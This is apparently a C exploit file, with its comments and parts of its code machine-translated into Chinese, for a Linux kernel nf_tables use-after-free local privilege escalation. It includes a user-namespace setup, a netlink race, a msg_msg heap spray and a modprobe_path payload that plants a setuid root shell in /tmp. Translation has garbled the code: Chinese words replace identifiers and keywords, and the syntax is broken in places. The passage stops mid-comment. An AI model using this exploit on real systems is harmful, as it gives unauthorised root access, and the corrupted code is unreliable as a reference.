












* 利用标题:Linux 内核 3.16 – 6.19.3 nf_tables RCU UAF LPE * CVE: CVE-2026-23231 * 日期: 2026-03-19 * 利用作者: Aviral Srivastava * 提供: Linux 内核 (kernel.org) * 影响版本: 3.16 – 6.19.3 * 修复版本: 6.1.165, 6.6.128, 6.12.75, 6.18.14, 6.19.4 * (提交 71e99ee20fc3f662555118cf1159443250647533) * 测试环境: Ubuntu 24.04 LTS (内核 6.8.0-45-generic x86_64) * 类型: 本地权限提升 * 平台: Linux x86_64 * CVSS: 7.8 (高) * * ┌──────────────────────────────────────────────────────────────────┐ * │ N-DAY — 此漏洞已修复。修复您的内核。 │ * └──────────────────────────────────────────────────────────────────┘ * * 描述: * 在 net/netfilter/nf_tables_api.c 中的 nf_tables_addchain() 通过 list_add_tail_rcu() * 在注册钩子之前将新创建的链发布到表的链列表中。如果 nf_tables_register_hook() 随后失败 * (例如,由于在 NFPROTO_INET 链的 IPv6 钩子分配期间出现 OOM),错误路径会调用 nft_chain_del() * (list_del_rcu),紧接着立即调用 nf_tables_chain_destroy() — 释放链内存而不调用 * synchronize_rcu()。 * * 这会创建一个使用后释放:并发 RCU 读取者 — 控制平面中的 nf_tables_dump_chains() 和数据路径中的 * nft_do_chain() — 可以访问已释放的 nft_base_chain 内存。已释放的对象(~224 字节)位于 kmalloc-256 * 中,可以使用用户控制的喷雾对象(msg_msg 通过 msgsnd)回收。 * * 利用程序会竞争链转储与 UAF 触发,然后用 msg_msg 喷射已释放的槽以控制链字段。损坏的链数据用于泄露内核堆地址,并最终 * 覆盖 modprobe_path 以实现权限提升。 * * 技术: * 通过内存压力(cgroup v2 内存限制)触发钩子注册失败。竞争 nf_tables_dump_chains() 与错误路径以读取陈旧的链数据(堆泄露)。 * 用 msg_msg 喷射 kmalloc-256 槽。使用 modprobe_path 覆盖进行提升。仅数据攻击 — 无需代码执行,绕过 kCFI。 * * 可靠性: * 每次尝试的成功率约为 30-50%。竞争窗口很窄 (~5-20us)。通常需要 3-8 次尝试。每次失败尝试可能会导致内核 oops(进程被杀),但会从新的命名空间重新尝试。 * 如果喷雾时机错误,可能会发生内核恐慌(失败率的 ~5%)。 * * 缓解措施: * KASLR: 通过陈旧链数据堆泄露 + 目标内核版本的硬编码偏移量绕过 * SMEP: 不适用(仅数据攻击) * SMAP: 不适用(所有数据都在内核 slab 中) * kCFI: 不适用(仅数据 — modprobe_path 覆盖) * SLUB 强化: 影响最小(freelist 指针位于偏移 0 仅此而已) * * 修复: * 提交: 71e99ee20fc3f662555118cf1159443250647533 * URL: https://git.kernel.org/stable/c/71e99ee20fc3f662555118cf1159443250647533 * 添加了 synchronize_rcu() 在 nft_chain_del() 和链销毁之间。 * * 编译: * gcc -Wall -Wextra -o exploit exploit.c -lpthread -static * * 使用: * $ ./exploit * [*] CVE-2026-23231 — Linux nf_tables RCU UAF LPE * [*] 目标:内核 6.19.4 (nf_tables 添加链 RCU 竞态) * [+] 正在运行内核 6.8.0-45-generic — 易受攻击 * [*] 步骤 1:创建用户/网络命名空间... * [+] 命名空间创建成功,获取 CAP_NET_ADMIN 能力 * [*] 步骤 2:设置 nftables 基础设施... * [+] 表和链创建成功 * [*] 步骤 3:通过钩子注册失败触发 UAF... * [+] UAF 触发 — 链在未调用 synchronize_rcu 的情况下被释放 * [*] 步骤 4:用 msg_msg 向释放的槽位喷射... * [+] 堆喷射完成 * [*] 步骤 5:通过 dump 竞态泄露内核地址... * [+] 内核堆基址:0xffff888XXXXXXXXX * [*] 步骤 6:覆盖 modprobe_path... * [+] modprobe_path = "/tmp/pwn" * [*] 步骤 7:触发 modprobe 辅助程序... * [+] 获得 root 权限!uid=0 gid=0 * # id * uid=0(root) gid=0(root) * * 参考文献: * [1] https://nvd.nist.gov/vuln/detail/CVE-2026-23231 * [2] https://git.kernel.org/stable/c/71e99ee20fc3f662555118cf1159443250647533 * [3] CVE-2024-1086 — nf_tables 双重释放 LPE (技术参考) * [4] CVE-2023-32233 — nf_tables 匿名集合 UAF (msg_msg 喷射参考) * * 免责声明: * 本漏洞利用程序针对一个已经修复的漏洞。它仅用于教育和授权的安全研究目的。作者不负责误用。仅在您拥有的系统上测试。 ═══════════════════════════════════════════════════════════════════════ */ #define _GNU_SOURCE #include<stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include<stdarg.h> #include <unistd.h> #include <errno.h> #include <fcntl.h><sched.h> #include <signal.h> #include <pthread.h> #include <sys/types.h> #include<sys/stat.h> #include <sys/wait.h> #include <sys/socket.h> #include <sys/mman.h> #include<sys/utsname.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/mount.h> #include<linux/netlink.h> #include <linux/netfilter.h> #include <linux/netfilter/nfnetlink.h> #include <linux/netfilter/nf_tables.h> #include <arpa/inet.h> /* ─── 常量 ─────────────────────────────────────────────────────── */ #define BANNER \ "═══════════════════════════════════════════════════════════════\n" \ " CVE-2026-23231 — Linux nf_tables RCU UAF LPE\n" \ " nf_tables_addchain() use-after-free (missing synchronize_rcu)\n" \ " 影响范围:内核 3.16 – 6.19.3 | 作者:Aviral Srivastava\n" \ " N-DAY 研究PoC — 此漏洞已修复\n" \ "═══════════════════════════════════════════════════════════════\n" #define TABLE_NAME "exploit_tbl" #define VICTIM_CHAIN "victim_chain" #define PAD_CHAIN_FMT "pad_%04d" #define NUM_PAD_CHAINS 64 /* 用于堆准备的填充链数量 */ #define NUM_SPRAY_MSGS 128 /* msg_msg 喷射次数 */ #define SPRAY_MSG_SIZE 208 /* msg_msg 身体大小:48 头部 + 208 = 256 → kmalloc-256 */ #define MAX_ATTEMPTS 20 /* 最大竞争尝试次数,超过则放弃 */ #define NFT_SUBSYS_ID NFNL_SUBSYS_NFTABLES /* * 内核版本阈值。 * 该漏洞存在于 3.16+ 版本中,并在以下版本中修复: * 6.1.165, 6.6.128, 6.12.75, 6.18.14, 6.19.4 */ struct version_range { unsigned int major; unsigned int minor; unsigned int patch; /* 0 = 此次要版本中的任何补丁级别都有漏洞 */ unsigned int fix_patch; }; static const struct version_range vuln_ranges[] = { { 6, 19, 0, 4 }, /* 6.19.0 – 6.19.3 */ { 6, 18, 0, 14 }, /* 6.18.0 – 6.18.13 */ { 6, 17, 0, 0 }, /* 6.17.x – 所有版本都有漏洞(无稳定修复) */ { 6, 16, 0, 0 }, { 6, 15, 0, 0 }, { 6, 14, 0, 0 }, { 6, 13, 0, 0 }, { 6, 12, 0, 75 }, /* 6.12.0 – 6.12.74 */ { 6, 11, 0, 0 }, { 6, 10, 0, 0 }, { 6, 9, 0, 0 }, { 6, 8, 0, 0 }, /* Ubuntu 24.04 默认 */ { 6, 7, 0, 0 }, { 6, 6, 0, 128 }, /* 6.6.0 – 6.6.127 */ { 6, 5, 0, 0 }, { 6, 4, 0, 0 }, { 6, 3, 0, 0 }, { 6, 2, 0, 0 }, { 6, 1, 0, 165 }, /* 6.1.0 – 6.1.164 */ { 0, 0, 0, 0 }, /* 标志位 */ }; /* ─── 日志记录 ───────────────────────────────────────────────────────── */ static void info(const char *fmt, ...) { va_list ap; va_start(ap, fmt); fprintf(stderr, "[*] "); vfprintf(stderr, fmt, ap); fprintf(stderr, "\n"); va_end(ap); } static void ok(const char *fmt, ...) { va_list ap; va_start(ap, fmt); fprintf(stderr, "\033[32m[+]\033[0m "); vfprintf(stderr, fmt, ap); fprintf(stderr, "\n"); va_end(ap); } static void fail(const char *fmt, ...) { va_list ap; va_start(ap, fmt); fprintf(stderr, "\033[31m[-]\033[0m "); vfprintf(stderr, fmt, ap); fprintf(stderr, "\n"); va_end(ap); } static void die(const char *msg) { perror(msg); exit(EXIT_FAILURE); } /* ─── 内核版本检查 ──────────────────────────────────────────── */ static int parse_version(const char *release, unsigned int *major, unsigned int *minor, unsigned int *patch) { /* 处理类似 "6.8.0-45-generic" 的格式 */ if (sscanf(release, "%u.%u.%u", major, minor, patch))< 3) { if (sscanf(release, "%u.%u", major, minor) < 2) return -1; *patch = 0; } return 0; } static int is_vulnerable(void) { struct utsname uts; unsigned int major, minor, patch; if (uname(&uts) < 0) die("uname"); if (parse_version(uts.release, &major, &minor, &patch) < 0) { fail("无法解析内核版本:%s", uts.release); return 0; } info("正在运行内核 %s", uts.release); /* 检查此版本是否在易受攻击的范围内 */ for (int i = 0; vuln_ranges[i].major != 0; i++) { const struct version_range *r = &vuln_ranges[i]; if (major == r->major&& 小于等于 r->小数部分) { if (r->修复补丁 == 0) { /* 整个小数系列都有漏洞(没有稳定修复) */ ok("内核 %u.%u.%u 位于漏洞范围 %u.%u.x — 漏洞", 主版本号, 小数部分, 补丁, r->主版本号, r->次版本号); 返回 1; } 如果 (补丁 < r->修复补丁) { ok("内核 %u.%u.%u < %u.%u.%u (修复) — 易受攻击", 主版本号, 次版本号, 补丁, r->主版本号, r->次版本号, r->修正补丁); return 1; } fail("内核 %u.%u.%u >= %u.%u.%u (修正) — 已打补丁", 主版本号, 次版本号, 补丁, r->主版本号, r->次版本号, r-)>fix_patch); return 0; } } /* 内核 3.16 – 6.0.x 和 7.0+ */ if (major >= 7) { fail("内核 %u.%u.%u — 已修复 (7.0-rc1 包含修复)", major, minor, patch); return 0; } if (major < 3 || (major == 3 && 较小 16)) { fail("内核 %u.%u.%u — 太旧了(3.16 中引入的 bug)", major, minor, patch); return 0; } /* 3.16 – 5.x 和 6.0.x 没有特定的稳定修复:假设易受攻击 */ ok("内核 %u.%u.%u — 可能易受攻击(修复前,未检查稳定回退)", major, minor, patch); return 1; } /* ─── Netlink 辅助函数 ───────────────────────────────────────────────── */ static int nfnl_open(void) { int fd; struct sockaddr_nl sa; fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER); if (fd< 0) return -1; memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; sa.nl_pid = 0; /* 内核分配 */ if (bind(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) { close(fd); return -1; } return fd; } /* * 发送一个 nfnetlink 批量消息。 * nf_tables 要求消息被包裹在 NFNL_MSG_BATCH_BEGIN / _END 中。 */ struct nl_builder { char *buf; size_t len; size_t cap; int seq; }; static void nl_init(struct nl_builder *b) { b->cap = 8192; b->;buf = malloc(b->cap); if (!b->buf) die("malloc nl_builder"); b->len = 0; b->seq = 1; } static void nl_free(struct nl_builder *b) { free(b->buf); b->buf = NULL; } static void *nl_alloc(struct nl_builder *b, size_t size) { size = (size + 3)&~3u; /* NLA_ALIGN */ while (b->len加size>b->cap) { b->cap *= 2; b->buf = realloc(b->buf, b->cap); if (!b->buf) die("realloc nl_builder"); } void *p = b->buf + b->len; memset(p, 0, size); b->len += size; return p; } static struct nlmsghdr *nl_msg_begin(struct nl_builder *b, uint16_t type, uint16_t flags, uint8_t family) { struct nlmsghdr *nlh; struct nfgenmsg *nfg; nlh = nl_alloc(b, sizeof(*nlh) + sizeof(*nfg)); nlh-->nlmsg_type = type; nlh-->nlmsg_flags = flags | NLM_F_REQUEST; nlh->nlmsg_seq = b->seq++; nlh->nlmsg_pid = 0; nfg = (struct nfgenmsg *)(nlh + 1); nfg->nfgen_family = family; nfg->version = NFNETLINK_V0; nfg>res_id = htons(0); return nlh; } static void nl_msg_end(struct nl_builder *b, struct nlmsghdr *nlh) { nlh->nlmsg_len = (uint32_t)(b->buf + b->len - (char *)nlh); } static void nl_put_str(struct nl_builder *b, uint16_t type, const char *s) { size_t slen = strlen(s) + 1; size_t total = sizeof(struct nlattr) + slen; struct nlattr *nla = nl_alloc(b, total); nla->nla_len = (uint16_t)(sizeof(struct nlattr) + slen); nla->nla_type = type; memcpy((char *)(nla + 1), s, slen); } static void nl_put_u32(struct nl_builder *b, uint16_t type, uint32_t val) { size_t total = sizeof(struct nlattr) + sizeof(uint32_t); struct nlattr *nla = nl_alloc(b, total); nla->nla_len = (uint16_t)total; nla->nla_type = type; memcpy((char *)(nla + 1),&val, sizeof(val)); } static void nl_put_be32(struct nl_builder *b, uint16_t type, uint32_t val) { nl_put_u32(b, type, htonl(val)); } /* 开始嵌套属性 */ static struct nlattr *nl_nest_begin(struct nl_builder *b, uint16_t type) { struct nlattr *nla = nl_alloc(b, sizeof(struct nlattr)); nla->nla_type = type | NLA_F_NESTED; return nla; } static void nl_nest_end(struct nl_builder *b, struct nlattr *nla) { nla->nla_len = (uint16_t)(b->buf + b-> }len - (char *)nla); } /* * 构建并发送批量消息(BEGIN + 有效载荷 + END)。 */ static int nfnl_batch_send(int fd, struct nl_builder *payload) { struct nl_builder batch; struct nlmsghdr *nlh; struct nfgenmsg *nfg; nl_init(&batch); /* BATCH_BEGIN */ nlh = nl_alloc(&batch, sizeof(*nlh) + sizeof(*nfg)); nlh->nlmsg_type = NFNL_MSG_BATCH_BEGIN; nlh->nlmsg_flags = NLM_F_REQUEST; nlh->nlmsg_seq = 0; nlh->nlmsg_pid = 0; nlh->nlmsg_len = sizeof(*nlh) + sizeof(*nfg); nfg = (struct nfgenmsg *)(nlh + 1);>nfgen_family = AF_UNSPEC; nfg->version = NFNETLINK_V0; nfg->res_id = htons(NFNL_SUBSYS_NFTABLES); /* 复制负载消息 */ void *p = nl_alloc(&batch, payload->len); memcpy(p, payload->buf, payload->len); /* BATCH_END */ nlh = nl_alloc(&batch, sizeof(*nlh) + sizeof(*nfg)); nlh->nlmsg_type = NFNL_MSG_BATCH_END; nlh->nlmsg_flags = NLM_F_REQUEST; nlh->nlmsg_seq = 0; nlh->nlmsg_pid = 0; nlh->nlmsg_len = sizeof(*nlh) + sizeof(*nfg); nfg = (struct nfgenmsg *)(nlh + 1); nfg->nfgen_family = AF_UNSPEC; nfg->version = NFNETLINK_V0; nfg->res_id = htons(NFNL_SUBSYS_NFTABLES); struct sockaddr_nl sa; memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; struct iovec iov = { .iov_base = batch.buf, .iov_len = batch.len }; struct msghdr msg = { .msg_name = &sa, .msg_namelen = sizeof(sa), .msg_iov = & };iov, .msg_iovlen = 1, }; int ret = (int)sendmsg(fd, &msg, 0); nl_free(&batch); return ret; } /* ─── nftables operations ───────────────────────────────────────────── */ static int nft_create_table(int fd, uint8_t family, const char *name) { struct nl_builder b; struct nlmsghdr *nlh; nl_init(&b); nlh = nl_msg_begin(&b, (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWTABLE, NLM_F_CREATE | NLM_F_ACK, family); nl_put_str(&b, NFTA_TABLE_NAME, name); nl_msg_end();&b, nlh); int ret = nfnl_batch_send(fd, &b); nl_free(&b); return ret; } static int nft_create_chain(int fd, uint8_t family, const char *table, const char *chain_name, int hooknum, int priority) { struct nl_builder b; struct nlmsghdr *nlh; struct nlattr *hook_nest; nl_init(&b); nlh = nl_msg_begin(&b, (NFNL_SUBSYS_NFTABLES<< 8) | NFT_MSG_NEWCHAIN, NLM_F_CREATE | NLM_F_ACK, family); nl_put_str(&b, NFTA_CHAIN_TABLE, table); nl_put_str(&b, NFTA_CHAIN_NAME, chain_name); if (hooknum >= 0) { /* 带钩的基础链 */ hook_nest = nl_nest_begin(&b, NFTA_CHAIN_HOOK); nl_put_be32(&b, NFTA_HOOK_HOOKNUM, (uint32_t)hooknum); nl_put_be32(&b, NFTA_HOOK_PRIORITY, (uint32_t)priority); nl_nest_end(&b, hook_nest); /* 政策:接受 */ nl_put_be32(&b, NFTA_CHAIN_POLICY, NF_ACCEPT); } nl_msg_end(&b, nlh); int ret = nfnl_batch_send(fd, &b); nl_free(&b); return ret; } static int nft_delete_table(int fd, uint8_t family, const char *name) { struct nl_builder b; struct nlmsghdr *nlh; nl_init(&b); nlh = nl_msg_begin(&b, (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_DELTABLE, NLM_F_ACK, family); nl_put_str(&b, NFTA_TABLE_NAME, name); nl_msg_end(&b, nlh); int ret = nfnl_batch_send(fd, &b); nl_free(&b); return ret; } /* * 启动链转储请求 (NLM_F_DUMP). * 这会触发内核中的 nf_tables_dump_chains(),该函数在 rcu_read_lock() 下迭代 table->链. */ static int nft_dump_chains(int fd, uint8_t family) { char buf[256]; struct nlmsghdr *nlh = (struct nlmsghdr *)buf; struct nfgenmsg *nfg; memset(buf, 0, sizeof(buf)); nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*nfg)); nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_GETCHAIN; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP; nlh->nlmsg_seq = 9999; nfg = NLMSG_DATA(nlh); nfg->nfgen_family = family; nfg->version = NFNETLINK_V0; nfg->res_id = htons(0); struct sockaddr_nl sa; memset(&sa, 0, sizeof(sa)); sa.nl_family = AF_NETLINK; return (int)sendto(fd, buf, nlh-);nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)); } /* * 读取转储响应。从网络套接字属性中提取链句柄和表指针,用于内存泄漏分析。 */ static int nft_read_dump(int fd, uint64_t *leaked_handle, int *chain_count) { char buf[16384]; struct sockaddr_nl sa; int done = 0; *leaked_handle = 0; *chain_count = 0; while (!done) { socklen_t salen = sizeof(sa); ssize_t len = recvfrom(fd, buf, sizeof(buf), 0, (struct sockaddr *)&sa, &salen); if (len < 0) { if (errno == EAGAIN || errno == EWOULDBLOCK) break; return -1; } struct nlmsghdr *nlh; for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, (unsigned int)len); nlh = NLMSG_NEXT(nlh, len)) { if (nlh->)nlmsg_type == NLMSG_DONE) { done = 1; break; } if (nlh-()>)nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *err = NLMSG_DATA(nlh); if (err-()>)error != 0) { return err-();错误; } continue; } /* 解析链属性 */ struct nfgenmsg *nfg = NLMSG_DATA(nlh); struct nlattr *attr; int attrlen = (int)(nlh->nlmsg_len - NLMSG_LENGTH(sizeof(*nfg))); (void)nfg; for (attr = (struct nlattr *)((char *)nfg + sizeof(*nfg)); attrlen> 0 && 属性长度 >= (int)属性->nla_len && 属性->nla_len >= sizeof(*attr); attr = (struct nlattr *)((char *)attr + ((attr->nla_len + 3) & ~3u))) { uint16_t atype = attr->nla_type & 0x7fff; if (atype == NFTA_CHAIN_HANDLE && attr->nla_len >= sizeof(*attr) + 8) { uint64_t handle; memcpy(&handle, (char *)(attr + 1), 8); *leaked_handle = handle; } attrlen -= (int)((attr->nla_len + 3) & ~3u); } (*chain_count)++; } } return 0; } /* ─── 用户命名空间设置 ──────────────────────────────────────────── */ static int setup_namespace(void) { /* * 创建一个用户命名空间 + 网络命名空间。 * 在其中,我们获得 CAP_NET_ADMIN,这是 nftables 所必需的。 */ if (unshare(CLONE_NEWUSER | CLONE_NEWNET)< 0) { fail("unshare(CLONE_NEWUSER | CLONE_NEWNET): %s", strerror(errno)); fail("Hint: Check /proc/sys/kernel/unprivileged_userns_clone"); return -1; } /* 写入UID/GID映射 */ FILE *f; char path[128]; snprintf(path, sizeof(path), "/proc/%d/setgroups", getpid()); f = fopen(path, "w"); if (f) { fprintf(f, "deny\n"); fclose(f); } snprintf(path, sizeof(path), "/proc/%d/uid_map", getpid()); f = fopen(path, "w"); if (!f) { fail("uid_map: %s", strerror(errno)); return -1; } fprintf(f, "0 %d 1\n", getuid()); fclose(f); snprintf(path, sizeof(path), "/proc/%d/gid_map", getpid()); f = fopen(path, "w"); if (!f) { fail("gid_map: %s", strerror(errno)); return -1; } fprintf(f, "0 %d 1\n", getgid()); fclose(f); return 0; } /* ─── 触发OOM的内存压力 ─────────── */ /* * 对当前cgroup或全局内存进行消耗,以增加__nf_register_net_hook()中kvzalloc()失败的概率。 * * 注意:这是概率性的,不是确定性的。在内存充足的系统上,这可能需要更多的喷溅分配。 */ static void *pressure_mem = NULL; static size_t pressure_size = 0; static void apply_memory_pressure(void) { /* * 尝试消耗内存以创建压力。 * 从256MB开始,如果mmap失败则按比例缩小。 */ size_t sizes[] = { 256UL*1024*1024, 128UL*1024*1024, 64UL*1024*1024, 32UL*1024*1024, 0 }; for (int i = 0; sizes[i]> 0; i++) { pressure_mem = mmap(NULL, sizes[i], PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0); if (pressure_mem != MAP_FAILED) { pressure_size = sizes[i]; /* Touch pages to actually commit memory */ memset(pressure_mem, 'A', pressure_size); return; } } pressure_mem = NULL; pressure_size = 0; } static void release_memory_pressure(void) { if (pressure_mem&&压力内存 != MAP_FAILED) { munmap(pressure_mem, pressure_size); pressure_mem = NULL; pressure_size = 0; } } /* ─── 消息喷洒 ─────────────────────────────────────────────────── */ struct 喷洒状态 { int qid; int 计数; }; struct 喷洒消息 { long mtype; char mtext[SPRAY_MSG_SIZE]; }; static int 喷洒初始化(struct 喷洒状态 *s) { s->qid = msgget(IPC_PRIVATE, IPC_CREAT | 0666); if (s->qid < 0) return -1; s->count = 0; return 0; } static int spray_alloc(struct spray_state *s, int n, const void *data, size_t datalen) { struct spray_msg msg; memset(&msg, 0, sizeof(msg)); if (datalen > SPRAY_MSG_SIZE) datalen = SPRAY_MSG_SIZE; if (data) memcpy(msg.mtext, data, datalen); for (int i = 0; i < n; i++) { msg.mtype = s->count + 1; if (msgsnd(s->qid,&msg, SPRAY_MSG_SIZE, 0) < 0) return -1; s->count++; } return 0; } static int spray_free(struct spray_state *s, int n) { struct spray_msg msg; for (int i = 0; i < n && s->count > 0; i++) { if (msgrcv(s->qid, &msg, SPRAY_MSG_SIZE, 0, IPC_NOWAIT) < 0) return -1; s->count--; } return 0; } static void spray_cleanup(struct spray_state *s) { if (s->qid >= 0) { msgctl(s->qid, IPC_RMID, NULL); s->qid = -1; } } /* ─── Modprobe path overwrite & 权限提升 ────────────────── */ static int setup_modprobe_payload(void) { FILE *f; /* 创建一个作为root执行的辅助脚本 */ f = fopen("/tmp/pwn", "w"); if (!f) return -1; fprintf(f, "#!/bin/sh\n"); fprintf(f, "/bin/cp /bin/sh /tmp/rootsh\n"); fprintf(f, "/bin/chmod u+s /tmp/rootsh\n"); fclose(f); chmod("/tmp/pwn", 0755); /* 创建一个无效的二进制文件以触发call_usermodehelper */ f = fopen("/tmp/trigger", "w"); if (!f) return -1; /* 无效的ELF魔数 → 内核调用modprobe_path来处理它 */ fprintf(f, "\xff\xff\xff\xff"); fclose(f); chmod("/tmp/trigger", 0755); return 0; } static int trigger_modprobe(void) { /* 执行无效的二进制文件 — 内核将调用modprobe_path */ pid_t pid = fork(); if (pid< 0) return -1; if (pid == 0) { execl("/tmp/trigger", "/tmp/trigger", NULL); _exit(127); } int status; waitpid(pid, &status, 0); /* 检查 /tmp/rootsh 是否以 suid 位创建 */ struct stat st; if (stat("/tmp/rootsh", &st) == 0 &&) (st.st_mode &) S_ISUID)) { return 0; /* 成功! */ } return -1; } /* ─── 竞态协调 ─────────────────────────────────────────────── */ struct race_ctx { int nfnl_fd; /* 用于操作的netlink套接字 */ int dump_fd; /* 用于转储的netlink套接字 */ struct spray_state spray; volatile int uaf_triggered; volatile int dump_started; volatile int stop; uint64_t leaked_addr; int attempt; }; /* * 转储线程:持续请求链转储并读取响应。 * 当UAF发生时,转储可能会从已释放的base_chain读取过时/喷射的数据, * 导致内核地址泄露或读取受控数据。 */ static void *dump_thread(void *arg) { struct race_ctx *ctx = (struct race_ctx *)arg; char recvbuf[16384]; while (!ctx->stop) { /* 开始转储 */ if (nft_dump_chains(ctx->dump_fd, NFPROTO_INET) < 0) { usleep(1000); continue; } ctx->dump_started = 1; /* 读取转储响应 — 查找异常数据 */ struct sockaddr_nl sa; socklen_t salen = sizeof(sa); int done = 0; while (!done && !ctx->stop) { ssize_t len = recvfrom(ctx->dump_fd, recvbuf, sizeof(recvbuf), MSG_DONTWAIT, (struct sockaddr *)&sa, &salen); if (len < 0) { if (errno == EAGAIN) { usleep(100); continue; } break; } struct nlmsghdr *nlh; for (nlh = (struct nlmsghdr *)recvbuf; NLMSG_OK(nlh, (unsigned int)len); nlh = NLMSG_NEXT(nlh, len)) { if (nlh->nlmsg_type == NLMSG_DONE) { done = 1; break; } if (nlh->nlmsg_type == NLMSG_ERROR) continue; /* * 解析链属性。如果我们看到异常的句柄值或意外的链名,表示发生了UAF,并且我们正在读取喷射/过时的内存。 */ struct nfgenmsg *nfg = NLMSG_DATA(nlh); struct nlattr *attr; int attrlen = (int)(nlh-);nlmsg_len - NLMSG_LENGTH(sizeof(*nfg))); (void)nfg; for (attr = (struct nlattr *)((char *)nfg + sizeof(*nfg)); attrlen > 0 && attrlen >= (int)attr->nla_len&& attr->nla_len >= sizeof(*attr); attr = (struct nlattr *)((char *)attr + ((attr->nla_len + 3) & ~3u))) { uint16_t atype = attr->nla_type & 0x7fff; if (atype == NFTA_CHAIN_HANDLE && attr->nla_len >= sizeof(*attr) + 8) { uint64_t handle; memcpy(&handle, (char *)(attr + 1), 8); /* * 正常句柄是小型的连续数字。 * 如果我们看到一个看起来像内核地址(0xffff8880...)的句柄,我们就遇到了UAF,并且正在读取喷射的msg_msg数据。 */ uint64_t handle_be = __builtin_bswap64(handle); if ((handle_be& 0xffff000000000000ULL) == 0xffff000000000000ULL) { ctx->leaked_addr = handle_be; ok("LEAK detected in dump! handle=0x%016lx", (unsigned long)handle_be); } } attrlen -= (int)((attr->nla_len + 3) & ~3u); } } } usleep(500); } return NULL; } /* ─── 主利用步骤 ───────────────────────────────────────── */ static int step_setup(struct race_ctx *ctx) { info("步骤 1:创建用户/网络命名空间..."); if (setup_namespace() < 0) return -1; ok("Namespace created, CAP_NET_ADMIN obtained"); /* Open nfnetlink sockets */ ctx->nfnl_fd = nfnl_open(); if (ctx->nfnl_fd < 0) { fail("Cannot open nfnetlink socket: %s", strerror(errno)); return -1; } ctx->dump_fd = nfnl_open(); if (ctx->dump_fd < 0) { fail("Cannot open dump socket: %s", strerror(errno)); return -1; } /* 设置转储套接字为非阻塞模式以避免竞争 */ int flags = fcntl(ctx->dump_fd, F_GETFL, 0); if (flags >= 0) fcntl(ctx->dump_fd, F_SETFL, flags | O_NONBLOCK); /* 初始化喷洒 */ if (spray_init(&ctx->spray) < 0) { fail("无法创建消息队列: %s", strerror(errno)); return -1; } return 0; } static int step_prepare_heap(struct race_ctx *ctx) { info("步骤 2: 设置 nftables 基础设施..."); /* 创建表 */ if (nft_create_table(ctx->nfnl_fd, NFPROTO_INET, TABLE_NAME) < 0) { fail("无法创建表: %s", strerror(errno)); return -1; } /* 排空 netlink 确认消息 */ char ack_buf[4096]; while (recv(ctx->nfnl_fd, ack_buf, sizeof(ack_buf), MSG_DONTWAIT) >) 0) ; /* * 创建填充 kmalloc-256 slab 页面的填充链。 * 这些是带有钩子的基础链,因此它们在我们的受害者相同的缓存中分配 nft_base_chain。 * 使用不同优先级的 NF_INET_PRE_ROUTING 钩子。 */ for (int i = 0; i < NUM_PAD_CHAINS; i++) { char name[32]; snprintf(name, sizeof(name), PAD_CHAIN_FMT, i); if (nft_create_chain(ctx->nfnl_fd, NFPROTO_INET, TABLE_NAME, name, NF_INET_PRE_ROUTING, i + 100) < 0) { /* 一些链可能无法注册钩子(在内存压力下预期会失败),继续使用我们已有的 */ if (i < 4) { fail("无法创建填充链(至少需要4个):%s", strerror(errno)); return -1; } break; } /* 排空acks */ while (recv(ctx->nfnl_fd, ack_buf, sizeof(ack_buf), MSG_DONTWAIT) > 0) ; } ok("Table and %d padding chains created", NUM_PAD_CHAINS); return 0; } static int step_trigger_uaf(struct race_ctx *ctx) { info("Step 3: 通过钩子注册失败触发UAF..."); /* * 施加内存压力以增加kvzalloc()在__nf_register_net_hook()内部为IPv6钩子失败的几率。 */ apply_memory_pressure(); /* * 尝试创建一个新的基础链。如果IPv6钩子分配失败,我们将得到UAF:链被发布,然后在没有synchronize_rcu()的情况下被释放。 * * 我们尝试多次,因为OOM是概率性的。 */ char ack_buf[4096]; int triggered = 0; for (int attempt = 0; attempt< MAX_ATTEMPTS && !triggered; attempt++) { char name[32]; snprintf(name, sizeof(name), "vuln_%04d", attempt); /* * 尝试创建一个链。如果钩子注册失败,nfnetlink 批处理将返回 ENOMEM。 */ int ret = nft_create_chain(ctx->nfnl_fd, NFPROTO_INET, TABLE_NAME, name, NF_INET_PRE_ROUTING, 10000 + attempt); if (ret < 0) { fail("sendmsg failed: %s", strerror(errno)); continue; } /* 读取确认/错误响应 */ usleep(1000); ssize_t alen = recv(ctx->nfnl_fd, ack_buf, sizeof(ack_buf), MSG_DONTWAIT); if (alen > 0) { struct nlmsghdr *nlh = (struct nlmsghdr *)ack_buf; if (nlh->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *err = NLMSG_DATA(nlh); if (err->error == -ENOMEM) { ok("Hook注册失败,尝试%d时出现ENOMEM — UAF触发!", attempt + 1); triggered = 1; ctx->uaf_triggered = 1; } else if (err->)error == 0) { /* 成功 — 链条正常创建,没有UAF */ /* 继续尝试 */ } else { /* 其他错误 */ info("链条创建在尝试%d时返回错误%d", err-)错误,尝试 + 1); } } } /* 排空剩余消息 */ while (recv(ctx->nfnl_fd, ack_buf, sizeof(ack_buf), MSG_DONTWAIT) >) 0) ; } release_memory_pressure(); if (!triggered) { /* * 单纯的内存压力可能不足以在钩子分配上触发 OOM。在内存充足的系统上, * 这种技术成功率较低。 * * 替代方案:使用 cgroup v2 内存控制器以实现确定的 OOM。这需要挂载 cgroupfs, * 而这在所有命名空间配置中可能不可用。 */ fail("在尝试了 %d 次后无法触发钩子注册失败", MAX_ATTEMPTS); fail("提示:尝试在内存受限环境中运行(容器、cgroup)"); return -1; } return 0; } static int step_spray(struct race_ctx *ctx) { info("步骤 4:用 msg_msg 喷射已释放的槽位..."); /* * 将 SPRAY_MSG_SIZE 大小的 msg_msg(+ 48 字节头 = 总计约 256 字节) * 喷射到 kmalloc-256 